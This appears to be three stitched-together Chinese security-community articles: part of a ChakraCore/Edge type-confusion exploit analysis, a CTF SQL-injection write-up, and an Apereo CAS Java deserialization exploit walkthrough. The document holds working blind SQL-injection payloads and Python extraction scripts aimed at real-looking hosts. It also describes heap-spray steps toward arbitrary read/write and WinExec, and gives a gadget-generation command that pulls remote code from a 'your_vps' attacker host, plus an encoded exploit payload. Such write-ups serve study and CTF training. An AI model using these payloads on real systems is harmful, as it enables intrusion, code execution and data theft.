AssertMsg((layoutSize > 0) && (layoutSize < 100), "Ensure valid layout size");
const byte * layoutData = ip;
ip += layoutSize;
m_currentLocation = ip;
Assert(m_currentLocation <= m_endLocation);
return reinterpret_cast(layoutData);
}
根据上面的源代码追溯和动态调试，可得playout参数的类型为OpLayoutT_CallI结构体，指向的是bytecode的内容，长度为0x5个字节。OpLayoutT_CallI内存结构如下：
name: |ArgSlotType|RegSlotSType|RegSlotType|
size: | 1 byte | 2 byte | 2 byte |
value: | c5 | fe 00 | fe 00 |
此时再看OP_NewScObjArray_Impl函数获取callSiteId参数的代码如下：
static_cast<const unaligned OpLayoutDynamicProfile2 *>(playout)->profileId,//profileId <==> callSiteId
发现playout参数被强制转换成OpLayoutDynamicProfile2结构体，并提取其成员变量profileId当成callSiteId向下传递了，OpLayoutDynamicProfile2的结构体代码如下：
OpLayouts.h:
...
typedef uint16 ProfileId;
...
// Dynamic profile layout wrapper
template <typename LayoutType>
struct OpLayoutDynamicProfile : public LayoutType
{
ProfileId profileId;
};
template <typename LayoutType>
struct OpLayoutDynamicProfile2 : public LayoutType
{
ProfileId profileId;
ProfileId profileId2;
};
...
该结构体的长度为sizeof(OpLayoutDynamicProfile2) = 0x9个字节, OpLayoutDynamicProfile2
内存结构如下：
name: |ArgSlotType|RegSlotSType|RegSlotType|profileId|profileId2|
size: | 1 byte | 2 byte | 2 byte | 2 byte | 2 byte |
value: | c5 | fe 00 | fe 00 | fa fe | e9 09 |
此时可知OpLayoutT_Call类型被混淆成OpLayoutDynamicProfile2使用，callSiteId = profileId =
0xfefa参数变量是由于在对象混淆情况下，越界读了后面2个字节的bytecode指令操作码，callSiteId参数被传到RecordCallSiteInfo函数之后，产生了越界读异常现象。
## 4.漏洞利用
1)
首先跳到访问异常点附近看看，RecordCallSiteInfo在函数访问异常点之后，还有些什么样的操作，重点关注程序后续流程中有没有写的操作。RecordCallSiteInfo函数关键点代码如下：
if (!callSiteInfo[callSiteId].isPolymorphic) // out of bound read
{
...
if (doInline && IsPolymorphicCallSite(functionId, sourceId, oldFunctionId, oldSourceId))
{
CreatePolymorphicDynamicProfileCallSiteInfo(functionBody, callSiteId, functionId, oldFunctionId, sourceId, oldSourceId);==>
}
...
void DynamicProfileInfo::CreatePolymorphicDynamicProfileCallSiteInfo(FunctionBody *funcBody, ProfileId callSiteId, Js::LocalFunctionId functionId, Js::LocalFunctionId oldFunctionId, Js::SourceId sourceId, Js::SourceId oldSourceId)
{
PolymorphicCallSiteInfo *localPolyCallSiteInfo = RecyclerNewStructZ(funcBody->GetScriptContext()->GetRecycler(), PolymorphicCallSiteInfo);
Assert(maxPolymorphicInliningSize >= 2);
localPolyCallSiteInfo->functionIds[0] = oldFunctionId;
localPolyCallSiteInfo->functionIds[1] = functionId;
localPolyCallSiteInfo->sourceIds[0] = oldSourceId;
localPolyCallSiteInfo->sourceIds[1] = sourceId;
localPolyCallSiteInfo->next = funcBody->GetPolymorphicCallSiteInfoHead();
for (int i = 2; i < maxPolymorphicInliningSize; i++)
{
localPolyCallSiteInfo->functionIds[i] = CallSiteNoInfo;
}
callSiteInfo[callSiteId].isPolymorphic = true;//out of bound write boolean
callSiteInfo[callSiteId].u.polymorphicCallSiteInfo = localPolyCallSiteInfo;//out of bound write pointer
funcBody->SetPolymorphicCallSiteInfoHead(localPolyCallSiteInfo);
}
...
假设在完全可以控制堆喷数据的情况下，那么上面蓝色部分的判断可以过掉，在随后的红色部分就有写的操作。
2) 漏洞分配的内存长度为0x10177，越界读的内存偏移为0xfefa0 = callSiteId * 0x10 = 0xfefa *
0x10，由于callSiteId = 0xfefa是通过越界读2个字节的bytecode指令操作码得到的，所以这个越界读的偏移不是任意可以控制的。
3) Microsoft Edge 堆隔离，及其内存分配机制。Edge的堆分为：
* – 小堆 (0 < size <= 0x300)：每隔0x10为一个堆桶（步长为0x10),对齐方式：0x10 实现方式：size => 堆桶的 map 映射。 例如：0x10、0x20、0x30… 一共(0x300 / 0x10 = 0x30个堆桶）
* – 中堆 (0x300 < size <= 0x2000)：每隔0x100为一个堆桶（步长为0x100),对齐方式：0x100 实现方式：size => 堆桶的 map 映射。例如：0x400、0x500、0x600…一共(0x2000-0x300 / 0x100 = 0x1D个堆桶）
* – 大堆 (size > 0x2000)：对齐方式：0x10 实现方式：堆桶之间的链表串连。
由于 0x10177 > 0x2000 的内存大小在大堆范畴，所以由大堆来分配内存。
综合
1），2），3），及其深入分析之后，要能够精准控制内存的堆喷，越界写一些内存关键数据（如：长度、数据存储指针等），选用array进行堆喷可以满足要求，本利用中选择越界修改array的长度来实现漏洞利用。堆喷之后的内存结构如下：
name: | vulnmem | fill_mem | pre_trigger_arr | trigger_arr | fill_leak_arr |
desc: | 0x10180 | spray_mem | int array | int array | object array |
完整的漏洞利用步骤如下：
a. 触发漏洞之后，pre_trigger_arr的长度被修改为一个指针，此时pre_trigger_arr可越界写，但不能越界读。
b. 通过pre_trigger_arr越界写，修改trigger_arr的长度，此时trigger_arr可越界读写。
c. 通过trigger_arr越界读，可泄露fill_leak_arr中的任意一个元素对象的地址。
d.
通过pre_trigger_arr越界写，修改trigger_arr的数据存储指针为DataView对象地址偏移，把DataView数据头伪造成trigger_arr的元素数据。
e. 通过trigger_arr正常的写，修改DataView的arrayBuffer的数据指针。
f. 通过DataView正常读取，可达到任意地址读写的目的。
## 5.漏洞演示
a. 通过任意地址读写，泄露chakra.dll的基地址。
b. 通过调用GetProcAddress函数，泄露msvcrt.dll中malloc函数的地址。
c. 通过调用GetProcAddress函数，泄露kernel32.dll中WinExec函数的地址。
## 6.漏洞补丁
补丁前：
template <class T, bool Profiled>
void InterpreterStackFrame::OP_NewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices)
{
// Always profile this operation when auto-profiling so that array type changes are tracked
if (!Profiled && !isAutoProfiling) isAutoProfiling 变量出的问题，导致该条件判断为false
Assert(!Profiled);
{
OP_NewScObject_Impl<t, profiled,="" false="" style="box-sizing: border-box;">(playout, Js::Constants::NoInlineCacheIndex, spreadIndices);
return;
}
Arguments args(CallInfo(CallFlags_New, playout->ArgCount), m_outParams);
uint32 spreadSize = 0;
if (spreadIndices != nullptr){...}
else
{
SetReg(
(RegSlot)playout->Return,
ProfilingHelpers::ProfiledNewScObjArray(
GetReg(playout->Function),
args,
function,
static_cast<const unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId,//profileId <==> callSiteId
static_cast<const unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId2));
}
PopOut(playout->ArgCount);
}
</t,>
补丁后：
template <class T, bool Profiled> void OP_NewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices = nullptr)
{
OP_NewScObject_Impl<T, Profiled, false>(playout, Js::Constants::NoInlineCacheIndex, spreadIndices);==>
}
template <class T, bool Profiled, bool ICIndex>
void InterpreterStackFrame::OP_NewScObject_Impl(const unaligned T* playout, InlineCacheIndex inlineCacheIndex, const Js::AuxArray *spreadIndices)
{
if (ICIndex)
{
Assert(inlineCacheIndex != Js::Constants::NoInlineCacheIndex);
}
Var newVarInstance =
#if ENABLE_PROFILE_INFO
Profiled ? 补丁前的isAutoProfiling 条件判断被干掉了
ProfiledNewScObject_Helper(
GetReg(playout->Function),
playout->ArgCount,
static_cast<const unaligned OpLayoutDynamicProfile<T> *>(playout)->profileId,
inlineCacheIndex,
spreadIndices) :
#endif
NewScObject_Helper(GetReg(playout->Function), playout->ArgCount, spreadIndices);
SetReg((RegSlot)playout->Return, newVarInstance);
}
从上面补丁前后的对比可知，补丁后OP_NewScObjArray_Impl函数代码中有问题的代码被优化掉了。
## 7.exp
* [exp地址](https://github.com/bo13oy/ChakraCore/tree/master/%231)
## 8.参考链接
* [ChakraCore v1.8.0](https://github.com/Microsoft/ChakraCore/releases/tag/v1.8.0)
* [pwnjs](https://github.com/theori-io/pwnjs) | 社区文章 |
## 说在前面
最近在尝试总结一些SQL注入相关的知识，看了很多师傅们整理的文章，受益匪浅。决定根据他们的思路去尝试复现一些CTF题来学习，自己也尝试出了一个SQL注入题来加深印象。总的来说还是学到很多东西的。
第一次投稿文章，里面的内容有些乱。有问题还希望师傅们提出来，谢谢。
## 1.异或注入
题目地址：<http://119.23.73.3:5004/>
在一个师傅的博客中看到这题的Writeup，尝试按照他的payload进行复现，怎么都复现不出来。后来在安全客上看到另一篇异或注入的文章，才把这个题解决了。
初步测试之后会发现，题目过滤了`空格，+，*，or，substr`...等一些字符。而且#号注释也不起作用。
于是尝试异或注入。
http://119.23.73.3:5004/?id=1'^'1 返回错误
http://119.23.73.3:5004/?id=1'^'0 返回正常
在MYSQL中：
可见，当/?id=1'^'1时，传递到数据库当中，是id=0，由于为0的id不存在，所以这里返回错误。第二个同理。
这里属于布尔盲注，于是构造payload，用脚本跑：
检索数据库：
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1
检索出来的库为：information_schema,moctf,mysql,performance_schema
检索表：
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='moctf')),1,1))=104))^'1'='1
检索出来的表：do_y0u_l1ke_long_t4ble_name,news
检索字段：
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='do_y0u_l1ke_long_t4ble_name')),1,1))=104))^'1'='1
检索出来的字段：d0_you_als0_l1ke_very_long_column_name
读Flag：
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(d0_you_als0_l1ke_very_long_column_name))FROM(moctf.do_y0u_l1ke_long_t4ble_name)),1,1))=104))^'1'='1
moctfb1ind_SQL_1njecti0n_g0od
脚本：
import requests
#文字转ascii ord()
#ascii转文字 ascii()
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,"
url = "http://119.23.73.3:5004/?id=2'^"
keyword = "Tip"
string = ""
for i in range(1, 300):
for j in dic:
payload = "!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{0},1))={1}))^'1'='1".format(str(i),ord(j))
url_get = url + payload
print(url_get)
content = requests.get(url_get)
if keyword in content.text:
string += j
print(string)
break
print("result = " + string)
跑出来的Flag：
## 2.REGEXP盲注
题目链接：<http://ctf5.shiyanbar.com/web/earnest/index.php>
Writeup(要登录)：<http://www.shiyanbar.com/ctf/writeup/4828>
这道题我本来是信心满满的，然后越做越不对劲。做这道题的时候并没有fuzz的字段还没有逗号，莫名就会被拦截，搞得一头雾水。最后还是跑去看Writeup了。
先fuzz单字符来看看waf。还是拦截了很多的，而且逗号和空格也被过滤了。
除此之外，被过滤的还有：is not, union, sleep, substr, benchmark, substring, and。
并且根据大佬的思路，这里的`or，+，*`也都会被替换为空
看来时间盲注是没戏了。并且过滤了逗号。
我们知道，regexp盲注的原理是用正则表达式匹配。
例子：
正常的语句为：select username from users where id = 1
正常返回：admin
构造语句：
select (select username from users where id = 1) regexp '^a' 返回真(1)
select (select username from users where id = 1) regexp '^b' 返回假(0)
因为这里'^a'是匹配以a开头的字符串，原来正常返回的就是admin，所以会返回真。
继续就可以使用 regexp '^ad'...读出想要的数据
那么这里该怎么构造呢？
* 获取version
先用length来判断verison的长度：
id=11'Or(LENGTH(version())=6)Or'1'='
由于^被过滤了，所以用$来从尾部开始读。
脚本：
import requests
key = "You are in"
words = ""
data = {"id": ""}
word = '0123456789.'
for i in range(10):
for j in word:
data['id'] = "11'Or(SELECT(version()regexp'{}$'))Or'1'='".format(j+words)
print(data)
content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
if key in content.text:
words = str(j) + words
print(words)
最后跑出来为：“5.6..4”
* 获取数据库名
将上面的word替换为："0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,",
version()替换为database()即可。
跑出来为：Ctf_sql_bOol_bLInd
* 获取表
注意这里的seperator里面的or要双写。
import requests
key = "You are in"
words = ""
data = {"id": ""}
word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~."
for i in range(30):
for j in word:
data['id'] = "11'Or(SELECT((SELECT(group_concat(table_name\nseparatoorr\n'@'))FROM(INFORMATION_SCHEMA.tables)WHERE(TABLE_SCHEMA=database()))regexp'{}$'))Or'1'='".format(j+words)
print(data)
content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
#print(content.text)
if key in content.text:
words = str(j) + words
print(words)
跑出来的表：fIAg@useRs
可能是脚本的原因，我跑出来的表是有大写有小写。
并且这里有个坑就是逗号被过滤了，导致group_concat必须使用separator指定字符来分割。
* 获取字段
import requests
key = "You are in"
words = ""
data = {"id": ""}
word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~."
for i in range(30):
for j in word:
data['id'] = "11'Or(SELECT((SELECT(group_concat(column_name\nseparatoorr\n'@'))FROM(INFORMATION_SCHEMA.columns)WHERE(table_name='fiag'))regexp'{}$'))Or'1'='".format(j+words)
print(data)
content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
#print(content.text)
if key in content.text:
if j == "$":
words = j+ words
else:
words = j+ words
print(words)
这里的坑实在是太奇怪了，当word里面不加点号时，跑出来只有：4g，原因是字段的名字为fl$4g，里面包含一个$导致正则匹配错误。
Writeup原作者，将点号加到了word里。跑出来就为：fl..g，可以猜测到字段名为：fl$4g (真的是猜测)
在正则当中，点号是用来匹配任意字符的，这里的$就会被.替代。这里我真的被卡了好久。
* 获取flag
import requests
key = "You are in"
words = ""
data = {"id": ""}
word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~."
for i in range(30):
for j in word:
data['id'] = "11'Or(SELECT(SELECT(fl$4g)FROM(fiag))regexp'{}$')Or'1'='".format(str(j)+words)
print(data)
content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
#print(content.text)
if key in content.text:
words = str(j) + words
print(words)
最后跑出来的结果为：
Fla.{HAh.~YOu.WIn.}
像跑字段一样尝试之后可以猜测到：
最后的flag为：
flag{haha~you win!}
* 总结
这道题其实可以使用mid来做，会更简单，不会再像这个.号一样需要自己去猜。但还是会很多的坑。
mid方式参考：<https://www.cnblogs.com/Ragd0ll/p/8684767.html>
这题这样做的意义更多的是学习regexp盲注吧。
## 3.ORDER BY 注入
先来看一下ORDER BY注入的原理
SELECT username, password FROM users order by 1 asc;
这是一个常见的order by使用语句，后面的数字是列号(也可以指定列名)，asc & desc指定是升序还是降序。
注意：在order by后面的不会根据计算的结果来排序。
这里有以下几种方式来进行测试：
**直接加报错注入的payload：**
直接在order by后面加语句：order by (SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e))) 进行报错注入
**rand()方式**
rand()会返回一个0和1之间的随机数，如果参数被赋值，同一个参数会返回同一个数。
这里就可以用布尔盲注的方式来进行注入
order by rand(mid(version(),1,1)=5)
当然这里也可以用时间盲注的方式。
**and payload时间盲注方式**
在order by后面的不会根据计算的结果来排序，但是当我们的payload有延迟命令的时候，页面还是会延迟的。
使用and连接时间延迟payload：
order by 1 and (If(substr(version(),1,1)=5,0,sleep(5)))
这里用sqllib作为一个学习的例子：
它的源代码为：
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
报错注入的payload：
读php版本：
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e)))--+
读表：
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'security'),0x7e)))--+
读字段：
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'),0x7e)))--+
读内容：
http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT group_concat(username) FROM users),0x7e)))--+
rand()方式和and时间盲注的payload基本差不多，这里就不再重复了。
**另一种order by注入**
我自己写了一个题来学习这一种order
by注入。题目过滤了F1g3这个字段名。在id=3时，F1g3字段存在flag的base16编码。(直接过滤Flag会更好)
查询语句：
$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";
已知：数据库名：user，表名：this_1s_th3_fiag_tab13，字段名：F1g3，列号为2
因为过滤了F1g3这个字段名，我们不能直接用普通盲注的方式得到Flag，所以就得使用一种特别的order by盲注。
访问：
index.php?id=3 union select 1,2,3 order by 1
返回：
id: 1 name: 3
id: 3 name: threezh1
可以看到这里的1，3分别对应了id和name。 并使用了order by指定id排序。
当我们将字段1修改为4时，也就是访问：
index.php?id=3 union select 4,2,3 order by 1
就会返回：
id: 3 name: threezh1
id: 4 name: 3
这是因为，在排序的时候，order by是默认升序排列。select 4,2,3时就会排到后面。
根据这个差异，我们可以指定按第二列来排序，并在select里猜测flag的值。这样就可以不使用F1g3这个字段名就把值读出来。
访问：/index.php?id=3 union select 1,'6',3 order by 2
返回：
id: 1 name: 3
id: 3 name: threezh1
访问：/index.php?id=3 union select 1,'7',3 order by 2
返回：
id: 3 name: threezh1
id: 1 name: 3
出现差别了，因为这里是大于才会出现排序不一样，所以flag的第一个字符为6。
按照这个思路，写出脚本：
import requests
key = "<tr><td> id: 3 </td> <td> name: threezh1 </td> <br/></tr><tr><td> id: 3 </td> <td> name: 3 </td> <br/></tr>"
words = ""
data = "id=3 union select 3,'{0}',3 order by 2"
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(100):
for j in dic:
payload = data.format(words + j)
print(payload)
content = requests.get("http://127.0.0.1/index.php?" + payload)
if key in content.text:
words = words + temp
print(words)
break
temp = j
最后可以直接得到flag的base16编码。
这里有个问题就是，当select 1,2,3 中字段位的数据与数据库里的数据相等时，匹配的时候如果是匹配的是7就是7不用再退一位。
最后跑出来是 666c61677b643067335f74687265657a68317c
那么真实的flag的base16编码为：666c61677b643067335f74687265657a68317d
解码即可
题目源码：
<?php
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = 'root'; // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
die('Could not connect: ' . mysqli_error());
}
mysqli_select_db($conn, 'user');
$id = $_GET['id'];
if (!isset($id)){
echo "Please tell me the id , And you should think what is the sort way.";
exit();
}
//echo strtolower($id)."<br/>";
if (preg_match('/(char|hex|conv|lower|lpad|into|password|md5|encode|decode|convert|cast)/i',strtolower($id)) != 0){ //|\s
echo "NoNoNo";
exit();
}
if (stripos($id, "F1ag")){
echo "Close, but No!!! Thinking...";
exit();
}
$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";
$retval = mysqli_query($conn, $sql);
if(!$retval)
{
die('???');// . mysqli_error($conn)
}
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
{
echo "<tr><td> id: {$row['id']} </td> ".
"<td> name: {$row['username']} </td> <br/>".
"</tr>";
}
mysqli_close($conn);
?>
sql:
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ---------------------------- -- Table structure for this_1s_th3_fiag_tab13
-- ---------------------------- DROP TABLE IF EXISTS `this_1s_th3_fiag_tab13`;
CREATE TABLE `this_1s_th3_fiag_tab13` (
`id` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`F1ag` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;
-- ---------------------------- -- Records of this_1s_th3_fiag_tab13
-- ---------------------------- INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('3', '666C61677B643067335F74687265657A68317D', 'threezh1', 'You is pig');
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('1', 'No the Flag', 'oops,This is not the flag id', 'You is pig');
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('2', 'No the Flag', 'Not the flag also', 'You is pig');
SET FOREIGN_KEY_CHECKS = 1;
## 参考
* <https://www.anquanke.com/post/id/160584>
* <https://blog.csdn.net/Kevinhanser/article/details/81592863>
* <https://skysec.top/2017/11/19/%E8%BF%91%E6%9C%9F%E5%81%9A%E7%9A%84%E5%85%B6%E4%BB%96%E5%B9%B3%E5%8F%B0%E7%9A%843%E9%81%93%E6%B3%A8%E5%85%A5%E9%A2%98/> | 社区文章 |
# 漏洞分析
在 cas-servlet.xml 中，可以知道对execution参数应该关注 FlowExecutorImpl
<bean name="loginFlowExecutor" class="org.springframework.webflow.executor.FlowExecutorImpl"
c:definitionLocator-ref="loginFlowRegistry"
c:executionFactory-ref="loginFlowExecutionFactory"
c:executionRepository-ref="loginFlowExecutionRepository"/>
在 org/springframework/webflow/executor/FlowExecutorImpl.class:96
public FlowExecutionResult resumeExecution(String flowExecutionKey, ExternalContext context) throws FlowException {
FlowExecutionResult var6;
try {
...
try {
FlowExecution flowExecution = this.executionRepository.getFlowExecution(key);
...
}
...
}
...
}
跟进 `getFlowExecution`，在 spring-webflow-client-repo-1.0.0.jar!/org/jasig/spring/webflow/plugin/ClientFlowExecutionRepository.class:51
public FlowExecution getFlowExecution(FlowExecutionKey key) throws FlowExecutionRepositoryException {
...
byte[] encoded = ((ClientFlowExecutionKey)key).getData();
try {
ClientFlowExecutionRepository.SerializedFlowExecutionState state = (ClientFlowExecutionRepository.SerializedFlowExecutionState)this.transcoder.decode(encoded);
...
}
}
跟进 `decode` spring-webflow-client-repo-1.0.0.jar!/org/jasig/spring/webflow/plugin/EncryptedTranscoder.class:80
public Object decode(byte[] encoded) throws IOException {
byte[] data;
try {
data = this.cipherBean.decrypt(encoded);
} catch (Exception var11) {
throw new IOException("Decryption error", var11);
}
ByteArrayInputStream inBuffer = new ByteArrayInputStream(data);
ObjectInputStream in = null;
Object var5;
try {
if (this.compression) {
in = new ObjectInputStream(new GZIPInputStream(inBuffer));
} else {
in = new ObjectInputStream(inBuffer);
}
var5 = in.readObject();
} catch (ClassNotFoundException var10) {
throw new IOException("Deserialization error", var10);
} finally {
if (in != null) {
in.close();
}
}
return var5;
}
post进入的execution参数值即`encoded`，在经过`decrypt`解密后，最终在`var5 =
in.readObject()`触发反序列化漏洞。
# Apereo CAS 4.1.X ~ 4.1.6
以4.1.5为例
## 利用
4.1.x 的加密过程直接利用了EncryptedTranscoder中的`encode`
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
...
public byte[] encode(Object o) throws IOException {
if (o == null) {
return new byte[0];
} else {
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
if (this.compression) {
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
} else {
out = new ObjectOutputStream(outBuffer);
}
out.writeObject(o);
} finally {
if (out != null) {
out.close();
}
}
try {
return this.cipherBean.encrypt(outBuffer.toByteArray());
} catch (Exception var7) {
throw new IOException("Encryption error", var7);
}
}
}
...
protected KeyStore createAndPrepareKeyStore() {
KeyStoreFactoryBean ksFactory = new KeyStoreFactoryBean();
URL u = this.getClass().getResource("/etc/keystore.jceks");
ksFactory.setResource(new URLResource(u));
ksFactory.setType("JCEKS");
ksFactory.setPassword("changeit");
return ksFactory.newInstance();
}
}
同时要注意存在一个base64的过程
因此要生成payload，即先用`encode`加密后再进行一次base64编码。其中`/etc/keystore.jceks`在spring-webflow-client-repo-1.0.0.jar/etc/目录下
## 复现
以4.1.5 为例
# Apereo CAS 4.1.7 ～ 4.2.X
以4.2.7为例。
## 利用
4.2.x 的`decrypt`函数在 cas-server-webapp-support-4.2.7.jar!/org/jasig/cas/web/flow/CasWebflowCipherBean.class:34
public byte[] decrypt(byte[] bytes) {
return (byte[])this.webflowCipherExecutor.decode(bytes);
}
其中`decode`在 cas-server-core-util.jar!/jasig/cas/util/BinaryCipherExecutor.java:82
@Override
public byte[] encode(final byte[] value) {
try {
final Key key = new SecretKeySpec(this.encryptionSecretKey.getBytes(),
this.secretKeyAlgorithm);
final CipherService cipher = new AesCipherService();
final byte[] result = cipher.encrypt(value, key.getEncoded()).getBytes();
return sign(result);
} catch (final Exception e) {
logger.error(e.getMessage(), e);
throw new RuntimeException(e);
}
}
@Override
public byte[] decode(final byte[] value) {
try {
final byte[] verifiedValue = verifySignature(value);
final Key key = new SecretKeySpec(this.encryptionSecretKey.getBytes(UTF8_ENCODING),
this.secretKeyAlgorithm);
final CipherService cipher = new AesCipherService();
final byte[] result = cipher.decrypt(verifiedValue, key.getEncoded()).getBytes();
return result;
} catch (final Exception e) {
logger.error(e.getMessage(), e);
throw new RuntimeException(e);
}
}
而上面`encode`其对应的调用加密流程在 cas-server-core-util.jar!/org/jasig/cas/util/WebflowCipherExecutor.java:14
@Component("webflowCipherExecutor")
public class WebflowCipherExecutor extends BinaryCipherExecutor {
/**
* Instantiates a new webflow cipher executor.
*
* @param secretKeyEncryption the secret key encryption
* @param secretKeySigning the secret key signing
* @param secretKeyAlg the secret key alg
*/
@Autowired
public WebflowCipherExecutor(@Value("${webflow.encryption.key:}")
final String secretKeyEncryption,
@Value("${webflow.signing.key:}")
final String secretKeySigning,
@Value("${webflow.secretkey.alg:AES}")
final String secretKeyAlg){
super(secretKeyEncryption, secretKeySigning);
setSecretKeyAlgorithm(secretKeyAlg);
}
}
因此其加密过程与 4.1.X稍微有些不同，需要重新写加密逻辑。
## 复现
利用 cas-overlay-template-4.2 ，其中在cas-overlay-template-4.2\cas-overlay-template-4.2\src\main\webapp\WEB-INF\spring-configuration\propertyFileConfigurer.xml 指定了cas.properties
的位置，最终生成war包，放于Tomcat webapps目录下。
修改cas.properties，使其支持http，并修改webflow相关默认密钥
webflow.encryption.key=C4SBogp_badO82wC
webflow.signing.key=8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ
利用 apereocas42.jar 生成加密参数，由于依赖包中存在c3p0
因此可以利用其做gadget
java -jar apereocas42.jar C4SBogp_badO82wC 8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ C3P0 http://your_vps:60006/:Exploit
execution=7995ec15-cec8-4eed-9d31-d9a1f7a7138b_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuTVM5aVdUaEtiSE4zVW1KYVZqUXJielZoZFV4V1FWZExUVGRPVUdsblZYVk9hbkZaTUVwdWNUbE1hekpMTVUxeGQyaHVhRkJwY3pacVluZ3ZWVTVNTDBKdVFsUnpkMUIxYW5kVlZUWjRVMDloUlN0SGVUVjZjbXRGYkU5Rk5tNXNUa3R5UVdNMVUwRXpkSFpYYWs4NVpuRjFWUzg0YVZWcmFVaDRUeXRIV1ZFMU5GVXZZV0pSVDJGSmQwaGxkSFZNWlc5VFRsRTNNbE5WSzBjMVFXazFiV2h2V2tWMFVtZEVaVE0zZVhSeldsbDVLMjQwUzJSM1YzSllhemxLV0dRclRuWk5lSE4xZURKM2NIazJRMHBXYkVOS01UVnZURlZEU2tKMU5rMVRaVll3ZVV4VmFHWlBkVzlUZFhCYVpYaFFiV1pwY1hSV1YzVnhMMUIxV0dSWFYxaFhRVGt6ZUZKSGVGcDNTSFZYTkUxRVpVRjFLM1pDU1hWWFQzZG1我是马赛克pT1ZKSVZHNXVUMlpCVFdWdGFGSmFTV0pyWjJWTGJsUnFXVXhVYTA5UUx6QnVLM2xTZVdoQ1NGaDBja3d3VFVab056UTFValJ2VFUwNGNpODRPRXhFVjFKR2VHdEtaSGxNWjFScVdVRnRkMHRIUW00dk5HOHZiR0p0WjBSeVVHdElUbWhIVm1ORVoxSkdlRzlQYm5vMmFXaHVkWEpPVEdaa1kzWXlVMHB3Vm1GSFEwTkZXR3cwZW1Jd1dVSkhjRTlCVUVwUldXZ3ZNRmxaTkVGb09FMXlNRlpGY2t4NFlXUnhTR2QzYmxwSVRVUjFNM2hMT1VOQ2NGRnRWWEo0T1RKRE1ETm1NbmhDTVdwdGRUSktkR3Q1WVc1WmJsZFdVMjlKUm1jMWVERlpXbGg1V1hWclRHZGpXa1Y1VVVOSk5sQlVjM2xXYlc1NlJHUlphbHBMZWpVemRXeHpUVEZtVjNkR1lrOVRRelYwWkROWE9XVkJTM2hPVm5CUE9VOVFRbEJzWVZJd2J5OXFkV1ZrYjNnMmRGZDVWRFEwUlZsVVlXZ3pPVXcwT0ZrclFXNDFlRGcxYUdwNVlXeHVNV3BYVEVSc2MzSnN